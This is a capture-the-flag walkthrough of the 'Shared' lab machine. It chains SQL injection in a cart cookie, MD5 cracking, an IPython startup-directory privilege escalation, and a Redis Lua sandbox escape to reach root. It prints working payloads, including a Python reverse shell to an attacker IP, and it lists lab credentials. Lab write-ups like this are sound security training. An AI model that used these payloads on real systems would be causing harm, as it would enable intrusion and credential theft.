Shared writeup
25 November, 2022 00:00 CET
INDEX

Enumeration
nmap -sV -p- -A 10.10.11.17222/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 91:e8:35:f4:69:5f:c2:e2:0e:27:46:e2:a6:b6:d8:65 (RSA) | 256 cf:fc:c4:5d:84:fb:58:0b:be:2d:ad:35:40:9d:c3:51 (ECDSA) |_ 256 a3:38:6d:75:09:64:ed:70:cf:17:49:9a:dc:12:6d:11 (ED25519) 80/tcp open http nginx 1.18.0 |_http-title: Did not follow redirect to http://shared.htb |_http-server-header: nginx/1.18.0 443/tcp open ssl/http nginx 1.18.0 |_http-title: Did not follow redirect to https://shared.htb | tls-nextprotoneg: | h2 |_ http/1.1 | ssl-cert: Subject: commonName=*.shared.htb/organizationName=HTB/stateOrProvinceName=None/countryName=US | Not valid before: 2022-03-20T13:37:14 |_Not valid after: 2042-03-15T13:37:14 |_ssl-date: TLS randomness does not represent time | tls-alpn: | h2 |_ http/1.1 |_http-server-header: nginx/1.18.0 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel- The site hosts prestashop version
1.7.X, understood from here: https://stackoverflow.com/a/62383164/themes/classic/assets/css/theme.cssI try to study and execute the exploit: https://www.exploit-db.com/exploits/49410 → no way
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://shared.htb -k -b "301, 404"/api (Status: 401) [Size: 16] /Makefile (Status: 200) [Size: 88] /apis (Status: 401) [Size: 16] /apidocs (Status: 401) [Size: 16] /apilist (Status: 401) [Size: 16] /apiviewer (Status: 401) [Size: 16] /apiguide (Status: 401) [Size: 16] /apig (Status: 401) [Size: 16]-
Looking in the source code from the browser you will notice how the
controllerparameter ofindex.phpallows you to navigate in the pages.An interesting page seems to be
http://shared.htb/index.php?controller=addressbecause it redirects tohttp://shared.htb/index.php?controller=authentication&back=addressesasking for a login.I exclude the possibility of doing a bruteforce as I do not know neither the email nor the password.
-
Browsing the site and trying to make a purchase I found
http://checkout.shared.htb/ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://checkout.shared.htb -k --exclude-length 3229/assets (Status: 301) [Size: 169] [--> http://checkout.shared.htb/assets/] /css (Status: 301) [Size: 169] [--> http://checkout.shared.htb/css/] /config (Status: 301) [Size: 169] [--> http://checkout.shared.htb/config/]-
shared.htbto tellcheckout.shared.htbwhich products have been placed in the cart use the cookie:
custom_cart=%7B%2253GG2EF8%22%3A%221%22%7D;→ url decode →custom_cart={"53GG2EF8":"1"}; - Being something custom it will not be part of prestashop, so I mainly focus on this functionality. Maybe there is some injection? I do tests:
{"53GG2EF8":"1","YCS98E4A":"1"}→ encode url → update cookie → I look at product listing oncheckout.shared.htb→53GG2EF8eYCS98E4A{"53GG2EF8":"1","' OR '' = '":"1"}→ encode url → update cookie → I look at product listing oncheckout.shared.htb→53GG2EF8e53GG2EF8{"53GG2EF8":"1","'":"1"}→ encode url → update cookie → I look at product listing oncheckout.shared.htb→53GG2EF8eNot Found
-
I immediately try using the hard way:
request_checkout.txtGET / HTTP/2 Host: checkout.shared.htb Cookie: custom_cart=*; PrestaShop-5f7b4f27831ed69a86c734aa3c67dd4c=def50200eaac2613eabdb2f368d87aa21150d1684adce3302f020dc02b3f0bbcb57c83a4ab7f73e2446b92b4edd460590d3a39da9fdb290f2cb46420fd05cb5bfa80f1dad6c06a04b804cd469fa8a95358fc31920593be7aa7be4c54f5864fa8b007d4a3ca09fc1fc64e5458e193f79958943a71c4f5fe0dd85e1242acbd4f87949c29696b07969e1bbd73549bdd8906d42aaaa62d94cc3b91023b4331d586cd2d3608f0b2011036f6c2dcd2ed3f30fb658d5465e16346e2cba5181d8af017361ca2627488471a0ce99d91ecf4f43eb7fed1a4765f41d76718abeff46c659999e3b7653affe4e5bb4826b4f51139baace14f99f2f8b0d0c810fcc18413e6a470279de2d15e7f4c8fefc035ca1d412bffe5539507c77775836d6125 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="103", ".Not/A)Brand";v="99" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Linux" Dnt: 1 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Sec-Gpc: 1Testing the first field:
sqlmap -r request_checkout.txt --os='linux' --level=5 --risk=3 --random-agent --tamper=space2comment --prefix='%7B%22' --suffix='%22%3A%221%22%7D'Testing the second field:
sqlmap -r request_checkout.txt --os='linux' --level=5 --risk=3 --random-agent --tamper=space2comment --prefix='%7B%22YCS98E4A%22%3A%22' --suffix='%22%7D'I used the
--proxy='http://localhost:8080'parameter to check from Burpsuite that the requests had the injection in the correct place.Unfortunately I was unable to get an injection, I make a few attempts without
sqlmap -
{"' AND 1=2 UNION SELECT 1,@@version,3-- a":"1"}→10.5.15-MariaDB-0+deb11u1 - I create other queries to better understand the situation:
- tables:
{"' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM INFORMATION_SCHEMA.TABLES -- ":"1"} - users:
{"' UNION SELECT 1,GROUP_CONCAT(id,' ',username,' ',password),3 FROM user -- ":"1"}1 james_mason fc895d4eddc2fc12f995e18c865cf273 - I identify the type of hash with
hash-identifierHASH: fc895d4eddc2fc12f995e18c865cf273 Possible Hashs: [+] MD5 [+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))Then I check the corresponding Hash-Mode number for
hashcathashcat --example-hashes | grep MD5 -B 4 -A 4Hash mode #0 Name................: MD5 Category............: Raw Hash Slow.Hash...........: No Password.Len.Min....: 0 Password.Len.Max....: 256 -- Custom.Plugin.......: No Plaintext.Encoding..: ASCII, HEXAnd finally I start to crack the MD5 hash with an offline dictionary attack:
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txtfc895d4eddc2fc12f995e18c865cf273:Soleil101
- tables:
-
I got the foothold so I login as:
ssh james_mason@shared.htb -
Server side:
/var/www/checkout.shared.htb/index.phpif(isset($_COOKIE["custom_cart"])) { $custom_cart = json_decode($_COOKIE["custom_cart"], true); $i=0; foreach($custom_cart as $code => $qty) { $sql = "SELECT id, code, price from product where code='".$code."'"; // Prevent time-based sql injection if(strpos(strtolower($sql), "sleep") !== false || strpos(strtolower($sql), "benchmark") !== false) continue; $result = $conn->query($sql); ... } }config/db.php<?php define('DBHOST','localhost'); define('DBUSER','checkout'); define('DBPWD','a54$K_M4?DdT^HUk'); define('DBNAME','checkout'); ?> -
Database side:
USE checkout;select * from user;+----+-------------+----------------------------------+ | id | username | password | +----+-------------+----------------------------------+ | 1 | james_mason | fc895d4eddc2fc12f995e18c865cf273 | +----+-------------+----------------------------------+select * from product;+----+----------+-------+ | id | code | price | +----+----------+-------+ | 1 | 53GG2EF8 | 23.90 | | 2 | YCS98E4A | 35.90 | | 3 | CRAAFTKP | 29.00 | | 4 | MFDSVHXQ | 29.00 | | 5 | SS5UMYLB | 29.00 | | 6 | 7DA8SKYP | 11.90 | | 7 | 2E6E8GXJ | 11.90 | | 8 | 562XZDU8 | 11.90 | | 9 | DW64K6JF | 18.90 | | 10 | B4GTLMT3 | 18.90 | | 11 | B4ATAMB4 | 18.90 | | 12 | 4HAR4XDK | 9.00 | | 13 | UE593T4N | 9.00 | | 14 | WH82F998 | 9.00 | | 15 | PPZV67J5 | 35.00 | | 16 | BTAPXNX4 | 12.90 | | 17 | 5P6UG55R | 12.90 | | 18 | 77W6QWLX | 12.90 | | 19 | 8LPULR6Q | 13.90 | +----+----------+-------+
Privesc user
- I run the usual script
linpeas.shinteresting groupdeveloper→find / -group developer 2>/dev/null/opt/scripts_review - Running
pspy64I see that a cronjob is being executed:2022/09/11 05:59:01 CMD: UID=0 PID=82273 | /usr/sbin/CRON -f 2022/09/11 05:59:01 CMD: UID=0 PID=82275 | sleep 5 2022/09/11 05:59:01 CMD: UID=0 PID=82274 | /bin/bash /root/c.sh 2022/09/11 05:59:01 CMD: UID=1001 PID=82277 | /usr/bin/pkill ipython 2022/09/11 05:59:01 CMD: UID=1001 PID=82276 | /bin/sh -c /usr/bin/pkill ipython; cd /opt/scripts_review/ && /usr/local/bin/ipython 2022/09/11 05:59:01 CMD: UID=1001 PID=82278 | /usr/bin/python3 /usr/local/bin/ipython -
The
ipythoncommand is run inside the/opt/scripts_review/directory, it doesn’t make much sense without arguments.ipythonkeeps its configurations inside the directory:ipython locate/home/james_mason/.ipythonThis part of the box reminds me of the OpenSource root flag: you had to work on the
.gitdirectory of the repo owned by the user in which thegitcommand was run as root inside it.In this case it is more difficult because if you created a
.ipythondirectory inside/opt/scripts_review/it would be ignored by the user with id1001(dan_smith) because he has his own configuration ofipython:/home/dan_smith/.ipython -
There is a CVE for
ipythonat version8.0.0→ https://github.com/ipython/ipython/security/advisories/GHSA-pq7m-3gw7-gq5xI try to run the exploit:
mkdir -p /opt/scripts_review/profile_default/startup && chmod -R 777 /opt/scripts_review/profile_default/ && echo "import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.51',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/bash')" > /opt/scripts_review/profile_default/startup/foo.pybingo!
-
but why does it work?
In the patch you can see:
IPython/core/application.pydef _config_file_paths_default(self): return [os.getcwd()]was changed to
def _config_file_paths_default(self): return []IPython/core/profiledir.pypaths = [os.getcwd(), ipython_dir]was changed to
paths = [ipython_dir]The source code of
ipythonbeforeFIX CVE-2022-21699: https://github.com/ipython/ipython/tree/b8d7dfa8d78108f3f01486d9fa67b6841acb8f74I reproduce the exploit locally:
git clone https://github.com/ipython/ipython.git /home/user/Downloads/ipython/cd /home/user/Downloads/ipython/git reset --hard b8d7dfa8d78108f3f01486d9fa67b6841acb8f74sudo pip3 install -e .cd /home/user/Downloads/mkdir test && cd testnc -lnvp 4444(another terminal)mkdir -p /home/user/Downloads/test/profile_default/startup && echo "import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.51',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/bash')" > /home/user/Downloads/test/profile_default/startup/foo.pysudo ipython
So the function
find_profile_dir_by_name()at this version returned in the list also theos.getcwd().It was also passed as input to the function
find_profile_dir_by_name()the value ofget_ipython_dir()that read$IPYTHONDIR.The problem is that for both
james_masonanddan_smithit is empty, but even if it were set it would have less precedence thanos.getcwd(): https://github.com/ipython/ipython/blob/23c328212ad01d846ec9998533ccdc5f5d17fbe9/IPython/core/profiledir.py#L203paths = [os.getcwd(), ipython_dir]There is a discrepancy between what I have reproduced locally and the behavior in the box: if I don’t give permission
777to theprofile_defaultfolder and toprofile_default/startupit doesn’t work. Reason:File "/usr/local/lib/python3.9/dist-packages/IPython/core/profiledir.py", line 125, in check_security_dir self._mkdir(self.security_dir, 0o40700) File "/usr/local/lib/python3.9/dist-packages/IPython/core/profiledir.py", line 95, in _mkdir os.mkdir(path, mode) PermissionError: [Errno 13] Permission denied: '/opt/scripts_review/profile_default/security'File "/usr/local/lib/python3.9/dist-packages/IPython/core/profiledir.py", line 121, in check_startup_dir shutil.copy(src, readme) File "/usr/lib/python3.9/shutil.py", line 418, in copy copyfile(src, dst, follow_symlinks=follow_symlinks) File "/usr/lib/python3.9/shutil.py", line 264, in copyfile with open(src, 'rb') as fsrc, open(dst, 'wb') as fdst: PermissionError: [Errno 13] Permission denied: '/opt/scripts_review/profile_default/startup/README'The reason therefore is that
ipythontries to create its own configuration files and fails if it does not have write permission.
Privesc root
-
I run the usual script
linpeas.sh╔══════════╣ My user ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#users uid=1001(dan_smith) gid=1002(dan_smith) groups=1002(dan_smith),1001(developer),1003(sysadmin) find / -group sysadmin 2>/dev/null/usr/local/bin/redis_connector_devls -al /usr/local/bin/redis_connector_dev-rwxr-x--- 1 root sysadmin 5974154 Mar 20 09:41 /usr/local/bin/redis_connector_dev- I run:
/usr/local/bin/redis_connector_dev[+] Logging to redis instance using password... INFO command result: # Server redis_version:6.0.15 redis_git_sha1:00000000 redis_git_dirty:0 redis_build_id:4610f4c3acf7fb25 redis_mode:standalone os:Linux 5.10.0-16-amd64 x86_64 arch_bits:64 multiplexing_api:epoll atomicvar_api:atomic-builtin gcc_version:10.2.1 process_id:83354 run_id:b1d5c673b3d670f3fc567ccdc14c3a337ed297cc tcp_port:6379 uptime_in_seconds:6 uptime_in_days:0 hz:10 configured_hz:10 lru_clock:2043228 executable:/usr/bin/redis-server config_file:/etc/redis/redis.conf io_threads_active:0 <nil> -
Manages to login to redis, then I unload the binary and start reversing it with ghidra. But first I look at the traffic with wireshark while trying to connect to a local redis instance:
4 0.000829298 ::1 ::1 TCP 125 35854 → 6379 [PSH, ACK] Seq=1 Ack=1 Win=65536 Len=37 TSval=513050482 TSecr=513050482 Frame 4: 125 bytes on wire (1000 bits), 125 bytes captured (1000 bits) on interface any, id 0 Linux cooked capture v1 Internet Protocol Version 6, Src: ::1, Dst: ::1 Transmission Control Protocol, Src Port: 35854, Dst Port: 6379, Seq: 1, Ack: 1, Len: 37 Data (37 bytes) Data: 2a 32 0d 0a 24 34 0d 0a 61 75 74 68 0d 0a 24 31 36 0d 0a 46 32 57 48 71 4a 55 7a 32 57 45 7a 3d 47 71 71 0d 0a [Length: 37]in the
datafield it reads:*2 $4 auth $16 F2WHqJUz2WEz=GqqThe last field could be the password, I look on the locally installed
redis-serverif the traffic matches:redis-cli -h 127.0.0.1 -p 6379 -a 'F2WHqJUz2WEz=Gqq'8 1.889181379 127.0.0.1 127.0.0.1 TCP 105 46490 → 6379 [PSH, ACK] Seq=1 Ack=1 Win=65536 Len=37 TSval=1089735618 TSecr=1089735613 Frame 8: 105 bytes on wire (840 bits), 105 bytes captured (840 bits) on interface any, id 0 Linux cooked capture v1 Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1 Transmission Control Protocol, Src Port: 46490, Dst Port: 6379, Seq: 1, Ack: 1, Len: 37 Data (37 bytes) Data: 2a 32 0d 0a 24 34 0d 0a 61 75 74 68 0d 0a 24 31 36 0d 0a 46 32 57 48 71 4a 55 7a 32 57 45 7a 3d 47 71 71 0d 0a [Length: 37]In the
datafield it reads:*2 $4 auth $16 F2WHqJUz2WEz=Gqqbingo!
I got the redis password, I log into the box:
redis-cli -h 127.0.0.1 -p 6379 -a 'F2WHqJUz2WEz=Gqq'→ it works -
Enumeration of the content inside the redis server:
127.0.0.1:6379> INFO keyspace# Keyspace127.0.0.1:6379> keys *(empty array)127.0.0.1:6379> dbsize(integer) 0completely empty!
-
I google “redis privesc” and I found https://thesecmaster.com/how-to-fix-cve-2022-0543-a-critical-lua-sandbox-escape-vulnerability-in-redis/
-
From hacktricks: https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis#lua-sandbox-bypass and https://github.com/aodsec/CVE-2022-0543
-
Proof of concept: https://github.com/vulhub/vulhub/tree/master/redis/CVE-2022-0543
127.0.0.1:6379> info# Server redis_version:6.0.15vulnerable!
- Run the exploit:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0"uid=0(root) gid=0(root) groups=0(root)\n"
-
-
Another method https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis#load-redis-module:
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git- Compile it with
make - I upload
module.soon the/tmp/module.sobox with python http server redis-cli -h 127.0.0.1 -p 6379 -a 'F2WHqJUz2WEz=Gqq'MODULE LOAD "/tmp/module.so"(error) ERR Error loading the extension. Please check the server logs.-
There is an error but the module was loaded anyway:
MODULE LIST1) 1) "name" 2) "system" 3) "ver" 4) (integer) 1 system.exec "id""uid=0(root) gid=0(root) groups=0(root)\n"